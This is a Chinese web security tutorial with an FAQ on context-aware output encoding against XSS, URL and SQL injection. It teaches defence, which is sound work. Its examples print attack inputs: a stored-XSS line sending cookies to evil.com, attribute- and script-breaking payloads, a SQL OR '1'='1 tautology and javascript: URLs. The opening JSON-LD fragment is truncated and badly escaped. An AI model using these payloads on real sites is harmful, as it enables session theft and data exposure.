,被服务端原样存储,渲染到页面:(1) 直接拼到 HTML 文本 —— 浏览器解析为 script 标签 → 执行 → XSS;(2) 拼到 HTML 属性 —— 中包含 \" 会闭合属性 → 注入;(3) 拼到 JS 字符串 —— var x = \"...\" 中包含 \\\\ \" 会改变字符串边界;(4) 拼到 URL 参数 —— 中包含 & = 会破坏 URL 结构;(5) 拼到 SQL —— 经典 SQL 注入。每种上下文需要不同编码:(1) HTML 文本 → htmlEscape(< → <、> → >、& → & 等);(2) HTML 属性 → htmlAttrEscape(外加 \" " \\\\\\\\ ');(3) JS 字符串 → jsEscape(\\\\\\\" \\\\\\\\\\' \\\\\\\\n \\\\\\\\r \\\\\\\\\\\\\\\\ \\\\\\\\u00 等);(4) URL → urlEncode(空格 → %20 等);(5) SQL → 参数化查询(最稳)/ 字符串转义(不推荐)。实务:(1) 框架 / 模板引擎自动选对编码(Vue / React / Django);(2) 手写拼字符串极其危险;(3) 多重场景(如 URL 里的 JS 字符串)需要叠加编码。"}},{"@type":"Question","name":"HTML 实体编码具体编什么?","acceptedAnswer":{"@type":"Answer","text":"最少必须编码 5 个字符。核心 5 字符:(1) < → < —— 防止开新标签;(2) > → > —— 闭合标签;(3) & → & —— 防止误识别为实体;(4) \" → " —— HTML 属性内必须;(5) \\\\\\\\\\' → ' —— HTML 属性内必须。为什么 & 也要编:(1) 用户输入 Tom & Jerry;(2) 浏览器看到 &Jerry; 可能尝试解析为实体;(3) 编码 & 为 & 避免歧义。完整 escape 函数:``javascript\\\\nfunction htmlEscape(s) {\\\\n return s.replace(/[&<>\"\\\\'\\\\']/g, c => ({\\\\n \\\\'&\\\\': \\\\'&\\\\',\\\\n \\\\'<\\\\': \\\\'<\\\\',\\\\n \\\\'>\\\\': \\\\'>\\\\',\\\\n \\\\'\\\\\\\\\\\\\\\\\\\\'\\\\': \\\\'"\\\\',\\\\n \\\\'\\\\\\\\\\'\\\\': \\\\''\\\\'\\\\n })[c]);\\\\n}\\\\n`。陷阱:(1) 遗漏一个就破防 —— 全编码或都不编码;(2) 不要双重编码 —— 用户已经看到 < 时再编码 → 显示成 &lt;`;(3) 库已处理 —— React / Vue / Angular 模板默认自动 escape,不要手动。"}},{"@type":"Question","name":"HTML 属性 vs HTML 文本的编码有什么不同?","acceptedAnswer":{"@type":"Answer","text":"HTML 属性需要更严格的编码。HTML 文本(如

用户名

):(1) 只需编码 < > &;(2) 引号在文本里不会出问题。HTML 属性(如 ):(1) 必须额外编码 \" 和 \\\\\\\\\\';(2) 否则用户输入 \" onmouseover=\"alert(1) 会闭合属性 + 注入事件;(3) 用 " ' 转义。典型 XSS 攻击:(1) 没编码: + 用户输入 \\\\\">;(2) 渲染:\";(3) 浏览器执行 → XSS。防御:(1) 始终用引号包属性值—— 而不是 ;(2) 属性值始终编码 \" ";(3) OWASP ESAPI 等库提供专门的 htmlAttrEscape。实务:(1) 用 safe 模板引擎(自动选场景);(2) 不要拼 HTML 字符串 → 用 createElement / DOM API;(3) 不可信数据永远escape 后再输出。"}},{"@type":"Question","name":"JavaScript 字符串中的编码怎么处理?","acceptedAnswer":{"@type":"Answer","text":"比 HTML 编码更复杂——很多字符要转义。JS 字符串需要转义的:(1) \\\\\\\\ \\\\\\\\ —— 反斜杠本身;(2) \\\\\\\\\\' \\\\\\\\\\\\\\\\\\' —— 单 / 双引号(看用哪个包字符串);(3) \\\\n \\\\\\\\n、\\\\r \\\\\\\\r、\\\\t \\\\\\\\t —— 控制字符;(4) \\\\x00 \\\\\\\\x00 —— null 等;(5) —— 必须编码(否则破坏 script 标签);(6) Unicode 特殊(U+2028 / U+2029 行终结符)—— 在 JSON 字符串中破坏解析。完整 JS escape:``javascript\\\\nfunction jsEscape(s) {\\\\n return s.replace(/[\\\\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\\\\\\\\r\\\\\\\\t\\\\\\\\u2028\\\\\\\\u2029]/g, c => \\\\'\\\\\\\\\\\\\\\\u\\\\' + c.charCodeAt(0).toString(16).padStart(4, \\\\'0\\\\'));\\\\n}\\\\n`(强烈建议用库而不是手写)。典型场景:`html\\\\n\\\\n`。陷阱:(1) 用户输入 \";alert(1);// → 闭合字符串 + 执行 + 注释;(2) 用户输入 → 破坏 script 标签;(3) 不要动态拼 JS 字符串。实务:(1) 永远用 JSON.stringify——自动 escape;(2) (多数模板支持);(3) 不要用 +` 拼字符串。"}},{"@type":"Question","name":"SQL 注入怎么防?字符串转义够吗?","acceptedAnswer":{"@type":"Answer","text":"字符串转义不够,必须用参数化查询。SQL 注入经典:(1) 不安全:SELECT * FROM users WHERE name = \\\\'$name\\\\';(2) 用户输入:admin\\\\' OR \\\\'1\\\\'=\\\\'1;(3) 拼接结果:SELECT * FROM users WHERE name = \\\\'admin\\\\' OR \\\\'1\\\\'=\\\\'1\\\\';(4) 永远返回所有用户。字符串转义的局限:(1) 各 SQL 方言不同(MySQL / PostgreSQL / SQLite / MS SQL);(2) 编码差异(Latin1 vs UTF-8)—— 多字节字符注入;(3) 函数嵌套漏掉转义;(4) 字面量类型混淆(数字字段不加引号)。参数化查询(推荐):``python\\\\n# Python\\\\ncursor.execute(\"SELECT * FROM users WHERE name = %s\", (user_name,))\\\\n\\\\n# Node.js\\\\nconnection.query(\"SELECT * FROM users WHERE name = ?\", [userName])\\\\n\\\\n# Java JDBC\\\\nPreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE name = ?\");\\\\nps.setString(1, userName);\\\\n``。ORM:(1) Sequelize / TypeORM / Django ORM / SQLAlchemy 自动参数化;(2) 不要用 raw SQL 拼字符串。白名单:(1) 列名 / 表名不能参数化 → 用白名单(只允许预设的列名)。实务:(1) 永远用参数化查询;(2) 永远不用字符串拼接 SQL;(3) 测试 → 输入恶意字符串看是否注入;(4) 使用 SAST 工具扫描代码。"}},{"@type":"Question","name":"URL 在不同位置的编码差异?","acceptedAnswer":{"@type":"Answer","text":"path、query、fragment 编码规则不同。path 部分(\"/abc def/\"):(1) 空格编码为 %20 不是 +;(2) 保留:/(路径分隔);(3) 编码:大多数特殊字符;(4) 用 encodeURIComponent 但保留 /。query 部分(?key=value):(1) 空格编码 + 或 %20 都行;(2) 保留:& =(结构);(3) 编码:所有其他特殊字符;(4) 用 encodeURIComponent。fragment 部分(#anchor):(1) 类似 query;(2) 不发送到服务器;(3) 用 encodeURIComponent。完整 URL(https://...):(1) 用 encodeURI —— 保留 URL 结构字符;(2) 不要用 encodeURIComponent(会编码 : / ?)。实务:``javascript\\\\n// 错误\\\\nconst url = \"https://api.com/users/\" + userInput;\\\\n\\\\n// 正确\\\\nconst url = \"https://api.com/users/\" + encodeURIComponent(userInput);\\\\n\\\\n// 错误(有空格)\\\\nconst url = \"https://api.com/?q=\" + searchTerm;\\\\n\\\\n// 正确\\\\nconst url = \"https://api.com/?q=\" + encodeURIComponent(searchTerm);\\\\n`。陷阱:(1) encodeURI 不编码 : / ? # [ ] @ —— 用错会破坏;(2) encodeURIComponent 不编码 ! \\\\\\\\\\' ( ) * - . _ ~`;(3) 老服务端可能不支持 RFC 3986 完整范围。"}},{"@type":"Question","name":"多重上下文(URL 里的 JS 里的 HTML)怎么处理?","acceptedAnswer":{"@type":"Answer","text":"从内到外逐层编码。典型场景:``html\\\\n
搜索\\\\n`。编码顺序(从最内层开始):(1) userInput 在 JS 字符串中 → JS escape;(2) 结果在 HTML 属性 onclick 中 → HTML 属性 escape;(3) 传到后端时 → URL encode。实际写法:`html\\\\n\\\\n搜索\\\\n`—— 用模板引擎自动处理。或者完全不嵌套:`html\\\\n搜索\\\\n\\\\n``—— 数据通过 data-* 属性传,避免嵌套上下文。实务:(1) 避免嵌套上下文 —— DOM API + 事件监听器;(2) 必须嵌套时用模板引擎自动编码;(3) 用 CSP(Content Security Policy)作为兜底防御。"}},{"@type":"Question","name":"现代框架的自动转义有哪些坑?","acceptedAnswer":{"@type":"Answer","text":"框架不是万能的——几个常见漏洞。React:(1) {xxx} 自动 escape —— 安全;(2) dangerouslySetInnerHTML —— 故意绕过 escape;(3) href={userInput} —— React 不 sanitize URL,可能注入 javascript: 协议 → 用 URL 验证;(4) dangerouslySetInnerHTML 必须配合 DOMPurify 等库 sanitize。Vue:(1) {{ xxx }} 自动 escape —— 安全;(2) v-html —— 故意绕过;(3) 类似 React 的 URL 注入风险。Angular:(1) 插值 自动 escape;(2) bypassSecurityTrust* 系列方法 —— 故意绕过;(3) Sanitizer 服务相对成熟。模板引擎:(1) Jinja2 / Twig / Liquid 默认 escape,但要用对 filter(safe / autoescape off 是危险信号);(2) Mustache / Handlebars 默认 escape。Server-side:(1) Express + 模板引擎默认 escape;(2) Django 模板默认 escape;(3) PHP 默认不 escape(必须自己 escape)。陷阱:(1) URL 协议 —— javascript:、data: 协议;(2) CSS 注入 —— 用户控制 style 属性可注入 expression();(3) JSON 输出 —— 不要直接拼到 HTML,要 escape <、>、/ ;(4) dangerouslySetInnerHTML 等绕过机制 —— 必须配 DOMPurify。实务:(1) 用框架默认 escape;(2) 绕过机制配合 sanitize 库;(3) URL 验证使用白名单协议;(4) CSP 作为最后兜底。"}}]}

URL 在 HTML / JS / SQL 中的多重编码:XSS、注入防御实战

· 约 6 分钟 🔗 URL 编解码

输入数据从用户传到展示,要经过 URL → 后端 → 数据库 → 模板 → HTML → JS → 浏览器多层。每层有不同的”危险字符”——单点防御漏一个层就被注入。这篇讲清各上下文的编码规则和组合策略。

五种主要上下文 + 编码方式

上下文危险字符编码方式示例
HTML 文本< > &HTML entity&lt; &gt; &amp;
HTML 属性+ " 'HTML entity (extended)&quot; &#39;
JavaScript 字符串' " \\ 控制字符JS escape\\" \\' \\n \\u00
URL(path/query/fragment)大多数特殊字符percent-encoding%20 %2F
SQL 查询'参数化查询(推荐)? 占位符

XSS 攻击的典型路径

1. 用户在评论区输入:
   <script>document.location='https://evil.com/steal?c='+document.cookie</script>

2. 服务端原样存储

3. 其他用户访问页面 → 评论被渲染:
   <div class="comment">
     <script>...</script>  ← 浏览器执行
   </div>

4. cookie 被发送到 evil.com → 账号被盗

防御点:服务端存储后渲染时必须 HTML escape。

HTML escape 详解

最少必须编码 5 字符

字符实体何时必须
<&lt;任何 HTML 上下文
>&gt;任何 HTML 上下文
&&amp;任何 HTML 上下文
"&quot;HTML 属性内
'&#39;HTML 属性内

为什么 & 也要编

  • 用户输入 Tom & Jerry
  • 浏览器看到 &Jerry; 可能尝试解析为实体
  • 编码 &&amp; 避免歧义

完整实现

function htmlEscape(s) {
  return s.replace(/[&<>"']/g, c => ({
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  })[c]);
}

HTML 属性 vs HTML 文本

HTML 文本(如 <p>用户名</p>):

  • 只需编码 < > &
  • 引号在文本里不会出问题

HTML 属性(如 <input value="...">):

  • 必须额外编码 "'
  • 否则用户输入 " 会闭合属性

典型 XSS

<!-- 没编码 " -->
<input value="">

<!-- 用户输入 -->
"><script>alert(1)</script>

<!-- 渲染结果 -->
<input value=""><script>alert(1)</script>">

<!-- 浏览器执行 -->

防御

  1. 始终用引号包属性值——<input value="...">
  2. 始终编码 "&quot;
  3. safe 模板引擎自动选场景

JavaScript 字符串编码

JS 字符串需要转义的字符

字符转义
\\\\\\
'\\'(如果用 ' 包字符串)
"\\"(如果用 " 包字符串)
\\n\\n
\\r\\r
\\t\\t
\\0\\0
</script>编码或拆分
U+2028 / U+2029必须编码(JS 行终结符)

典型场景

<!-- 模板中直接插值 -->
<script>
  var name = "{{ user.name }}";  // ← 必须 escape
</script>

<!-- 攻击:用户输入 -->
";alert(1);//

<!-- 渲染结果 -->
<script>
  var name = "";alert(1);//";
  // 闭合字符串 + 执行 + 注释
</script>

防御

<!-- 推荐:JSON.stringify 自动处理所有转义 -->
<script>
  var name = {{ user.name | json }};
</script>

<!-- 或者用 data-* 传递 -->
<div id="user" data-name="{{ user.name }}"></div>
<script>
  const name = document.getElementById('user').dataset.name;
</script>

陷阱

  • 不要手动拼 JS 字符串
  • </script> 必须编码(否则破坏 script 标签)
  • Unicode 行终结符 U+2028 / U+2029 在 JSON 字符串中破坏解析

URL 编码细节

三种 URL 部分

https://example.com/path/to?query=value#fragment
              ↓        ↓        ↓
           path        query    fragment

path 编码

// 编码 path 段
const segment = encodeURIComponent('user input/with spaces');
// 'user%20input%2Fwith%20spaces'

// 完整 URL
const url = `/api/users/${segment}`;

query 编码

const params = new URLSearchParams();
params.set('q', 'user input');
params.set('lang', 'zh-CN');
const url = `/search?${params}`;
// '/search?q=user+input&lang=zh-CN'

fragment 编码

const hash = encodeURIComponent('section title');
window.location.hash = hash;
// '#section%20title'

完整 URL(不常用):

// encodeURI 保留 URL 结构字符(: / ? # & = 等)
const url = encodeURI('https://example.com/path with spaces');
// 'https://example.com/path%20with%20spaces'

典型错误

// ❌ 错误:直接拼 user input
const url = `/api/users/${userId}`;
// 用户传 userId = "../admin" → 路径穿越

// ✅ 正确:encodeURIComponent
const url = `/api/users/${encodeURIComponent(userId)}`;

// ❌ 错误:query 不编码
const url = `/search?q=${searchTerm}`;
// 用户传 searchTerm = "test&admin=1" → 注入

// ✅ 正确
const params = new URLSearchParams({ q: searchTerm });
const url = `/search?${params}`;

SQL 注入防御

注入经典

不安全代码:
SELECT * FROM users WHERE name = '$name'

用户输入:admin' OR '1'='1

拼接结果:
SELECT * FROM users WHERE name = 'admin' OR '1'='1'

→ 永远返回所有用户

字符串转义不够(多种局限):

  • 各 SQL 方言不同
  • 编码差异(多字节字符注入)
  • 函数嵌套漏掉转义
  • 数字字段不加引号

参数化查询(必须)

# Python (psycopg2 / sqlite3)
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))

# Node.js (mysql2)
connection.query("SELECT * FROM users WHERE name = ?", [name]);

# Java JDBC
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE name = ?"
);
ps.setString(1, name);

# Go (database/sql)
db.Query("SELECT * FROM users WHERE name = ?", name)

ORM

  • Sequelize / TypeORM(Node.js)
  • SQLAlchemy / Django ORM(Python)
  • Hibernate(Java)
  • ActiveRecord(Ruby)

ORM 默认参数化——但 raw() / unsafe() 方法仍然有风险。

白名单

  • 列名 / 表名不能参数化
  • 必须用白名单(只允许预设的列名)
# 安全
ALLOWED_COLUMNS = {'name', 'email', 'created_at'}
if column in ALLOWED_COLUMNS:
    sql = f"SELECT * FROM users ORDER BY {column}"
    cursor.execute(sql)

多重上下文嵌套

最危险的场景:URL 里的 JS 里的 HTML

<!-- 用户输入 userInput 嵌套到三层 -->
<a onclick="document.location='/search?q=' + encodeURIComponent('{{userInput}}')">搜索</a>

编码顺序(从最内层开始):

  1. userInput 在 JS 字符串中 → JS escape
  2. 结果在 HTML 属性 onclick 中 → HTML attr escape
  3. 传到后端时 → URL encode(已经在 encodeURIComponent 中)

简化方案:避免嵌套

<!-- 数据通过 data-* 属性传 -->
<a id="search-btn" data-user-input="{{ userInput }}">搜索</a>

<script>
document.getElementById('search-btn').addEventListener('click', (e) => {
  const userInput = e.target.dataset.userInput;
  window.location.href = '/search?q=' + encodeURIComponent(userInput);
});
</script>

数据流:HTML(自动 escape)→ DOM API(无嵌套)→ encodeURIComponent

现代框架的自动 escape

React

// ✅ 自动 escape
<div>{userInput}</div>

// ⚠️ 故意绕过
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// ⚠️ URL 注入风险
<a href={userInput}>Link</a>  // userInput = "javascript:alert(1)"

URL 验证

function safeUrl(url) {
  if (/^javascript:/i.test(url)) return '#';
  if (/^data:/i.test(url)) return '#';
  return url;
}

<a href={safeUrl(userInput)}>Link</a>

Vue

<!-- ✅ 自动 escape -->
<div>{{ userInput }}</div>

<!-- ⚠️ 故意绕过 -->
<div v-html="userInput"></div>

Angular

<!-- ✅ 自动 escape -->
<div>{{ userInput }}</div>

<!-- ⚠️ 用 sanitizer -->
<div [innerHTML]="userInput | safeHtml"></div>

模板引擎

# Jinja2 / Django: 默认 escape
{{ user_input }}

# 故意绕过(危险)
{{ user_input | safe }}
{% autoescape off %}{{ user_input }}{% endautoescape %}

PHP(默认不 escape)

<!-- ❌ 不 escape -->
<div><?= $userInput ?></div>

<!-- ✅ 显式 escape -->
<div><?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?></div>

DOMPurify:HTML sanitization 标准库

import DOMPurify from 'dompurify';

const userHtml = '<img src="x" onerror="alert(1)">';
const clean = DOMPurify.sanitize(userHtml);
// '<img src="x">'

// 配置允许的标签
const clean2 = DOMPurify.sanitize(userHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

适用:富文本编辑器输出、用户提交的 HTML、Markdown 渲染。

CSP:最后兜底

Content Security Policy 是浏览器层面的兜底:

Content-Security-Policy: default-src 'self'; 
                         script-src 'self' 'nonce-xyz123'; 
                         style-src 'self' 'unsafe-inline';
                         img-src 'self' data: https:;

作用

  • 即使 XSS 注入了 script,浏览器拒绝执行
  • 限制可加载的资源域名
  • 限制 inline script(必须有 nonce)

部署

  • 设置 HTTP header 或 <meta> 标签
  • 严格策略:禁止 inline script + nonce
  • 报告模式:Content-Security-Policy-Report-Only 先观察

实战清单

必做

  1. HTML 上下文用 escape(5 字符)
  2. HTML 属性额外 escape " '
  3. JS 字符串用 JSON.stringify
  4. URL 用 encodeURIComponent
  5. SQL 用参数化查询
  6. 富文本用 DOMPurify
  7. 部署 CSP

避免

  1. 字符串拼接 SQL
  2. 直接拼接 HTML
  3. dangerouslySetInnerHTML 不 sanitize
  4. URL 不验证协议(javascript:
  5. 用户输入直接进 eval
  6. 信任前端 escape(必须服务端再 escape)

注入防御的核心是层层防御——每个上下文用对应编码、参数化查询、自动框架 + DOMPurify、最后 CSP 兜底,能挡住 99% 的注入攻击。

❓ 常见问题

为什么 URL 编码不够?还要 HTML 编码 / JS 编码?

因为同一个值在不同上下文中危险点不同典型场景:用户输入 <script>alert(1)</script>,被服务端原样存储,渲染到页面:(1) 直接拼到 HTML 文本 —— 浏览器解析为 script 标签 → 执行 → XSS;(2) 拼到 HTML 属性 —— <input value="..."> 中包含 " 会闭合属性 → 注入;(3) 拼到 JS 字符串 —— var x = "..." 中包含 \\ " 会改变字符串边界;(4) 拼到 URL 参数 —— <a href="?q=..."> 中包含 & = 会破坏 URL 结构;(5) 拼到 SQL —— 经典 SQL 注入。每种上下文需要不同编码:(1) HTML 文本 → htmlEscape(< → &lt;、> → &gt;、& → &amp; 等);(2) HTML 属性 → htmlAttrEscape(外加 " &quot; \\\\ &#39;);(3) JS 字符串 → jsEscape(\\\" \\\\\' \\\\n \\\\r \\\\\\\\ \\\\u00 等);(4) URL → urlEncode(空格 → %20 等);(5) SQL → 参数化查询(最稳)/ 字符串转义(不推荐)。实务:(1) 框架 / 模板引擎自动选对编码(Vue / React / Django);(2) 手写拼字符串极其危险;(3) 多重场景(如 URL 里的 JS 字符串)需要叠加编码。

HTML 实体编码具体编什么?

最少必须编码 5 个字符核心 5 字符:(1) <&lt; —— 防止开新标签;(2) >&gt; —— 闭合标签;(3) &&amp; —— 防止误识别为实体;(4) "&quot; —— HTML 属性内必须;(5) \\\\\'&#39; —— HTML 属性内必须。为什么 & 也要编:(1) 用户输入 Tom & Jerry;(2) 浏览器看到 &Jerry; 可能尝试解析为实体;(3) 编码 &&amp; 避免歧义。完整 escape 函数:``javascript\\nfunction htmlEscape(s) {\\n return s.replace(/[&<>"\\'\\']/g, c => ({\\n \\'&\\': \\'&amp;\\',\\n \\'<\\': \\'&lt;\\',\\n \\'>\\': \\'&gt;\\',\\n \\'\\\\\\\\\\'\\': \\'&quot;\\',\\n \\'\\\\\'\\': \\'&#39;\\'\\n })[c]);\\n}\\n`陷阱:(1) 遗漏一个就破防 —— 全编码或都不编码;(2) 不要双重编码 —— 用户已经看到 &lt; 时再编码 → 显示成 &amp;lt;`;(3) 库已处理 —— React / Vue / Angular 模板默认自动 escape,不要手动。

HTML 属性 vs HTML 文本的编码有什么不同?

HTML 属性需要更严格的编码HTML 文本(如 <p>用户名</p>:(1) 只需编码 < > &;(2) 引号在文本里不会出问题。HTML 属性(如 <input value="...">:(1) 必须额外编码 "\\\\\';(2) 否则用户输入 " onmouseover="alert(1) 会闭合属性 + 注入事件;(3) 用 &quot; &#39; 转义。典型 XSS 攻击:(1) 没编码:<input value=""> + 用户输入 \\"></input><script>alert(1)</script>;(2) 渲染:<input value=""><input><script>alert(1)</script>";(3) 浏览器执行 → XSS。防御:(1) 始终用引号包属性值——<input value="..."> 而不是 <input value=...>;(2) 属性值始终编码 " &quot;;(3) OWASP ESAPI 等库提供专门的 htmlAttrEscape实务:(1) 用 safe 模板引擎(自动选场景);(2) 不要拼 HTML 字符串 → 用 createElement / DOM API;(3) 不可信数据永远escape 后再输出。

JavaScript 字符串中的编码怎么处理?

比 HTML 编码更复杂——很多字符要转义JS 字符串需要转义的:(1) \\\\ \\\\ —— 反斜杠本身;(2) \\\\\' \\\\\\\\\' —— 单 / 双引号(看用哪个包字符串);(3) \\n \\\\n\\r \\\\r\\t \\\\t —— 控制字符;(4) \\x00 \\\\x00 —— null 等;(5) </script> —— 必须编码(否则破坏 script 标签);(6) Unicode 特殊(U+2028 / U+2029 行终结符)—— 在 JSON 字符串中破坏解析。完整 JS escape:``javascript\\nfunction jsEscape(s) {\\n return s.replace(/[\\\\\\\\\'\\\\\\\\"\\\\\\\\\\\\\\\\\\\\n\\\\r\\\\t\\\\u2028\\\\u2029]/g, c => \\'\\\\\\\\u\\' + c.charCodeAt(0).toString(16).padStart(4, \\'0\\'));\\n}\\n`强烈建议用库而不是手写)。典型场景`html\\n<script>\\n var name = "{{ user.name }}"; // ← 必须 escape\\n</script>\\n`陷阱:(1) 用户输入 ";alert(1);// → 闭合字符串 + 执行 + 注释;(2) 用户输入 </script><img onerror> → 破坏 script 标签;(3) 不要动态拼 JS 字符串。实务:(1) 永远用 JSON.stringify——自动 escape;(2) <script>const data = {{ data | json }}</script>(多数模板支持);(3) 不要用 +` 拼字符串。

SQL 注入怎么防?字符串转义够吗?

字符串转义不够,必须用参数化查询SQL 注入经典:(1) 不安全:SELECT * FROM users WHERE name = \\'$name\\';(2) 用户输入:admin\\' OR \\'1\\'=\\'1;(3) 拼接结果:SELECT * FROM users WHERE name = \\'admin\\' OR \\'1\\'=\\'1\\';(4) 永远返回所有用户。字符串转义的局限:(1) 各 SQL 方言不同(MySQL / PostgreSQL / SQLite / MS SQL);(2) 编码差异(Latin1 vs UTF-8)—— 多字节字符注入;(3) 函数嵌套漏掉转义;(4) 字面量类型混淆(数字字段不加引号)。参数化查询(推荐):``python\\n# Python\\ncursor.execute("SELECT * FROM users WHERE name = %s", (user_name,))\\n\\n# Node.js\\nconnection.query("SELECT * FROM users WHERE name = ?", [userName])\\n\\n# Java JDBC\\nPreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");\\nps.setString(1, userName);\\n``。ORM:(1) Sequelize / TypeORM / Django ORM / SQLAlchemy 自动参数化;(2) 不要用 raw SQL 拼字符串。白名单:(1) 列名 / 表名不能参数化 → 用白名单(只允许预设的列名)。实务:(1) 永远用参数化查询;(2) 永远不用字符串拼接 SQL;(3) 测试 → 输入恶意字符串看是否注入;(4) 使用 SAST 工具扫描代码。

URL 在不同位置的编码差异?

path、query、fragment 编码规则不同path 部分("/abc def/"):(1) 空格编码为 %20 不是 +;(2) 保留:/(路径分隔);(3) 编码:大多数特殊字符;(4) 用 encodeURIComponent 但保留 /query 部分(?key=value:(1) 空格编码 +%20 都行;(2) 保留:& =(结构);(3) 编码:所有其他特殊字符;(4) 用 encodeURIComponentfragment 部分(#anchor:(1) 类似 query;(2) 不发送到服务器;(3) 用 encodeURIComponent完整 URL(https://...:(1) 用 encodeURI —— 保留 URL 结构字符;(2) 不要用 encodeURIComponent(会编码 : / ?)。实务:``javascript\\n// 错误\\nconst url = "https://api.com/users/" + userInput;\\n\\n// 正确\\nconst url = "https://api.com/users/" + encodeURIComponent(userInput);\\n\\n// 错误(有空格)\\nconst url = "https://api.com/?q=" + searchTerm;\\n\\n// 正确\\nconst url = "https://api.com/?q=" + encodeURIComponent(searchTerm);\\n`陷阱:(1) encodeURI 不编码 : / ? # [ ] @ —— 用错会破坏;(2) encodeURIComponent 不编码 ! \\\\\' ( ) * - . _ ~`;(3) 老服务端可能不支持 RFC 3986 完整范围。

多重上下文(URL 里的 JS 里的 HTML)怎么处理?

从内到外逐层编码典型场景:``html\\n<a onclick=\\"document.location=\\\\\'/search?q=\\" + encodeURIComponent(\\\\\'{{userInput}}\\\\\'\\\\\')\\">搜索</a>\\n`编码顺序(从最内层开始):(1) userInput 在 JS 字符串中 → JS escape;(2) 结果在 HTML 属性 onclick 中 → HTML 属性 escape;(3) 传到后端时 → URL encode。实际写法`html\\n<!-- userInput 是用户输入 -->\\n<a onclick=\\"search({{ userInput | json | escapejs }})\\">搜索</a>\\n`—— 用模板引擎自动处理。或者完全不嵌套`html\\n<a id=\\"search-btn\\" data-user-input=\\"{{ userInput }}\\">搜索</a>\\n<script>\\ndocument.getElementById(\\"search-btn\\").addEventListener(\\"click\\", () => {\\n const userInput = event.target.dataset.userInput;\\n document.location = \\"/search?q=\\" + encodeURIComponent(userInput);\\n});\\n</script>\\n``—— 数据通过 data-* 属性传,避免嵌套上下文。实务:(1) 避免嵌套上下文 —— DOM API + 事件监听器;(2) 必须嵌套时用模板引擎自动编码;(3) 用 CSP(Content Security Policy)作为兜底防御。

现代框架的自动转义有哪些坑?

框架不是万能的——几个常见漏洞React:(1) {xxx} 自动 escape —— 安全;(2) dangerouslySetInnerHTML —— 故意绕过 escape;(3) href={userInput} —— React 不 sanitize URL,可能注入 javascript: 协议 → 用 URL 验证;(4) dangerouslySetInnerHTML 必须配合 DOMPurify 等库 sanitize。Vue:(1) {{ xxx }} 自动 escape —— 安全;(2) v-html —— 故意绕过;(3) 类似 React 的 URL 注入风险。Angular:(1) 插值 自动 escape;(2) bypassSecurityTrust* 系列方法 —— 故意绕过;(3) Sanitizer 服务相对成熟。模板引擎:(1) Jinja2 / Twig / Liquid 默认 escape,但要用对 filter(safe / autoescape off 是危险信号);(2) Mustache / Handlebars 默认 escape。Server-side:(1) Express + 模板引擎默认 escape;(2) Django 模板默认 escape;(3) PHP 默认不 escape(必须自己 escape)。陷阱:(1) URL 协议 —— javascript:data: 协议;(2) CSS 注入 —— 用户控制 style 属性可注入 expression();(3) JSON 输出 —— 不要直接拼到 HTML,要 escape <>/ ;(4) dangerouslySetInnerHTML 等绕过机制 —— 必须配 DOMPurify。实务:(1) 用框架默认 escape;(2) 绕过机制配合 sanitize 库;(3) URL 验证使用白名单协议;(4) CSP 作为最后兜底。

🔗 打开 URL 编解码 encodeURIComponent / encodeURI · 实时 · 互换 · 错误高亮

📖 同一工具的其他教程